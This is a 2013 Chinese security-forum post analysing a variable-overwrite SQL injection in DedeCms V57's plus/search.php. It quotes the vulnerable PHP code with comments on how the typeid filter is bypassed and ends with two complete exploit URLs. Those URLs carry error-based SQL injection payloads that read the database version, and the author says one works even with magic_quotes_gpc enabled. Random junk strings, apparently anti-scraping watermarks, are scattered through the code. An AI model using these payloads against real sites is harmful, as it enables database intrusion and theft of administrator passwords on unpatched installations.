找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2134|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
, X& ~+ S) ]) T$ H8 h/ T# x( @作者: c4rp3nt3r@0x50sec.org
! V. ]- S, C3 |5 P5 oDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.1 p% S4 d# ?; e
  h" f1 |5 _/ \* a9 E5 J
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
+ g  c6 g( p' F6 B8 Q& f3 b. t
2 |& n' b* M  p+ s- |6 g============
% H  s4 L0 k* T  }& B/ [
  f3 S. S5 m' ~4 g  b. X6 M  L ' q8 h: W6 B' O% Z3 ^5 t" O3 u  l0 }! v- P
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码." C+ A$ F+ v$ u8 T+ o, {6 ]

+ X2 g) M; M$ Y6 D, ]% v( D' Xrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
3 n& A" H- L+ p7 F) u& e4 y$ W" hrequire_once(DEDEINC.”/arc.searchview.class.php”);3 g0 c' }6 d# \$ l3 e  h( [+ j
8 l: Y7 f% ]" E& Q6 o" v
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
# u* T/ G4 T- B: U5 Q" W$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;( }; ~& m' D0 ?7 I
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;  R/ d4 m/ D  {9 N5 d
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;) [0 g# B8 s7 [; s2 ~2 T
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;$ X3 n  m, S4 ?8 a3 Z+ i
( l, {" l8 g( y# f# @: t# U! j5 \
if(!isset($orderby)) $orderby=”;, C# a9 |) m  F
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);5 }/ I' p, H8 j& M  a* g% l+ v' h
. R' o% y4 \& u( q9 f# L& r
' f0 g+ u" a3 r8 F/ I# E! W7 u
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
0 I# d, U" l- y( C7 D+ Y2 ~& }else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);2 W6 O3 D2 X3 M; w8 M

' d! k+ {' P8 lif(!isset($keyword)){1 W" u! b% ~9 q4 n; ?
    if(!isset($q)) $q = ”;
, I6 p+ t3 P* Y( n" K5 T/ s, H    $keyword=$q;
/ L& ]( T+ Z! ^- Y}# h# m! D# u; u8 h- u. W8 c9 p& [
  k! ~) Q! s0 X6 V, u
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));! j; J  W! }7 Z8 g% y& k
5 R9 }* ^; V& S( J3 R& \
//查找栏目信息) _2 C' ~6 X8 y8 D. O) C% W
if(empty($typeid))
4 a% d6 U. K3 H5 X3 {) [{
3 [) k' L, L, w$ z! |    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
* q! f1 }$ w- x) B% \0 z- |    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )( r0 ]# n  B. T  H, R
    {
4 O0 S1 {% W8 b; @, N        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
, j3 k- c( O9 v: |        fwrite($fp, “<”.”?php\r\n”);
/ x: G$ M- r6 e2 u        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);3 K1 c  z. j  n
        $dsql->Execute();' R8 H  x7 ?3 ~! b
        while($row = $dsql->GetArray())
. y- |/ W+ M$ T& q8 a) n        {
: b% o' T& g; }: u' Y            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
: J! X1 X) V. ]3 i2 y6 A, d' r        }. D0 s9 \8 [, h) n. H: U! e
        fwrite($fp, ‘?’.'>’);
1 ?1 ^* j+ x! g/ }9 r6 u+ ^: R        fclose($fp);, P3 o$ N# u! C2 }; V% J* M$ g
    }4 K' N9 f. |" e& D. c
    //引入栏目缓存并看关键字是否有相关栏目内容
4 M6 z% x3 r2 ~- }5 x    require_once($typenameCacheFile);
2 q! L5 \# E" q0 E, F5 d+ b; b//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个/ b" y" ~! r* X$ T/ ?( A" {* `. w% }
//& ^" F5 H8 s$ f+ M5 B
    if(isset($typeArr) && is_array($typeArr))
6 E$ D- x2 E7 E) E9 C    {3 ]; U5 c1 o1 k( f2 ^: w
        foreach($typeArr as $id=>$typename), [& Z& p6 C$ ?4 G2 l) @7 \2 T
        {
; n* L5 R8 M4 S5 E2 c4 ]
$ l( T6 I9 f( g; C5 n+ o            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过; W8 ]; x# c9 U* O
            if($keyword != $keywordn)
1 L- U$ l( c8 a1 l, [+ X7 o; b/ J            {; l* A+ ?% [, F- l( k% O
                $keyword = $keywordn;; q/ z: Q6 B' [2 h3 K2 C
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
# ~. m3 M: T9 Z0 m* h1 y, X: o7 G                break;
( x7 w3 {  x. s+ g6 I, h: r            }. z6 v- W2 b; G& Z' s
        }
# ~! R% j! y, L/ z5 b/ e$ [    }
! [* L' D5 j0 L  V}
* Q) O3 Y* b( Q然后plus/search.php文件下面定义了一个 Search类的对象 .
. m3 s  Q) u3 b% a" B在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类." m! ]* Y$ C3 ^7 i
$this->TypeLink = new TypeLink($typeid);
! W* Z4 a3 ~* b* N9 s) Q 0 j2 q5 R& K1 B2 t* }& X
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.$ b+ T: `: a2 ~( ^
# J( C7 @3 w- x2 D3 U. \# H
class TypeLink
- K  F$ s+ t% Y, A{
4 ~% b  j3 w6 E6 n0 M    var $typeDir;
! Q, y5 K; S$ y. B3 Y1 k% t    var $dsql;
' x) ?0 {5 W  c9 u% N' b: G# ?6 m    var $TypeID;
& a- U) }- f% L2 R# g    var $baseDir;+ r& T; O: g% w$ @6 y, d$ ~5 U. k$ M; [
    var $modDir;0 Y3 P( ]. E, i% q
    var $indexUrl;
8 j( @5 U/ w7 ~3 I( B. u    var $indexName;
! b6 k8 _0 b0 Z. x. E! X: e    var $TypeInfos;
* y! m' j3 t( w2 {    var $SplitSymbol;
  C8 {: y; v& d4 ^+ L2 E    var $valuePosition;% l  `, \" [! c- d" M
    var $valuePositionName;
, ?) D) r/ k% W+ \: Z4 Y& x) C5 _! K    var $OptionArrayList;//构造函数///////9 }4 s4 d$ n% g8 I" |! J: |4 G
    //php5构造函数
3 `) q6 J7 c" X$ j& y* |! _    function __construct($typeid)
  O- x* n/ l! [$ w, f  Q2 ^    {
) P- M0 r" I& l        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
8 t' T& d  Y& J: y$ _. S0 {        $this->indexName = $GLOBALS['cfg_indexname'];
, N7 [  y6 w0 J! T4 T        $this->baseDir = $GLOBALS['cfg_basedir'];
+ m6 n$ i+ T& Q1 x0 {        $this->modDir = $GLOBALS['cfg_templets_dir'];
& T4 |$ l( y  r& O$ \/ V        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];3 s6 _) N" }) g' [
        $this->dsql = $GLOBALS['dsql'];
* O  q/ z  q; N! D* T        $this->TypeID = $typeid;5 x7 U  w! q* x0 k$ l2 _/ d  f
        $this->valuePosition = ”;" k0 O8 y3 |+ D$ _" z
        $this->valuePositionName = ”;
( [2 a- C( W+ r, K- Z% n/ T. V) ?        $this->typeDir = ”;  {1 B8 i4 @% C6 V% ?
        $this->OptionArrayList = ”;8 U6 \( I' f" S& }8 n! o* X
# C) m1 ?0 }5 K' m4 P+ ]7 E- D; O; g; K
        //载入类目信息0 G1 y2 }$ T. C, i' z% M5 h5 d

- y: {0 D: L/ `; d% k        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
* Q7 R% g# J& S" t8 U3 n# octypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
( \$ D8 ?# @  m, N# A`#@__channeltype` ch# m7 @. S8 j" m9 o  u. C: e
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿" U( \# B. Q% w
' I! R7 d1 T# n6 h$ T+ A4 x' N
        if($typeid > 0)
7 T3 F* ~; K) w) U        {
2 ^, x' v. ]0 }) ]( j            $this->TypeInfos = $this->dsql->GetOne($query);6 x. i! O; c& o% E9 Y
利用代码一 需要 即使magic_quotes_gpc = Off
0 c7 [* R0 N. e6 O , n' F" `& K6 M( Q. m
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
$ Z( P( N7 d* t) J
* U: j/ _+ U  H" @7 E2 m8 {& C5 q( g8 Y这只是其中一个利用代码… Search 类的构造函数再往下8 p6 K% U! |* `/ ^% y- B/ |
# m( G# S+ D: q" Z' G" p
……省略
" g; h: y+ N# K# j' d6 @$this->TypeID = $typeid;
! W4 d) X8 U9 Q- V4 p……省略
, }6 o* O5 Z/ ?8 \if($this->TypeID==”0″){
- w7 s* [) p. a- o+ q            $this->ChannelTypeid=1;; Z% o1 F. e  @5 O3 A( d( {, R
        }else{
. m9 D4 r3 M# |            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
. J2 D/ f6 ~' x//现在不鸡肋了吧亲…
% L6 H, t1 V" w% l" z7 @+ F9 N            $this->ChannelTypeid=$row['channeltype'];
& Q3 P* a$ e' J) u& J   l4 X& J$ y) {2 E' b( {+ E1 P( R; S
        }
' r1 `$ ~& q6 B9 z利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
' n1 q; B! ]# k+ v8 a 7 z2 t% }/ ?; M
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 T6 f2 ^& J: L  E+ a
6 U2 ?2 K7 L+ o如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站7 Q, I+ [6 p2 ?& L2 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表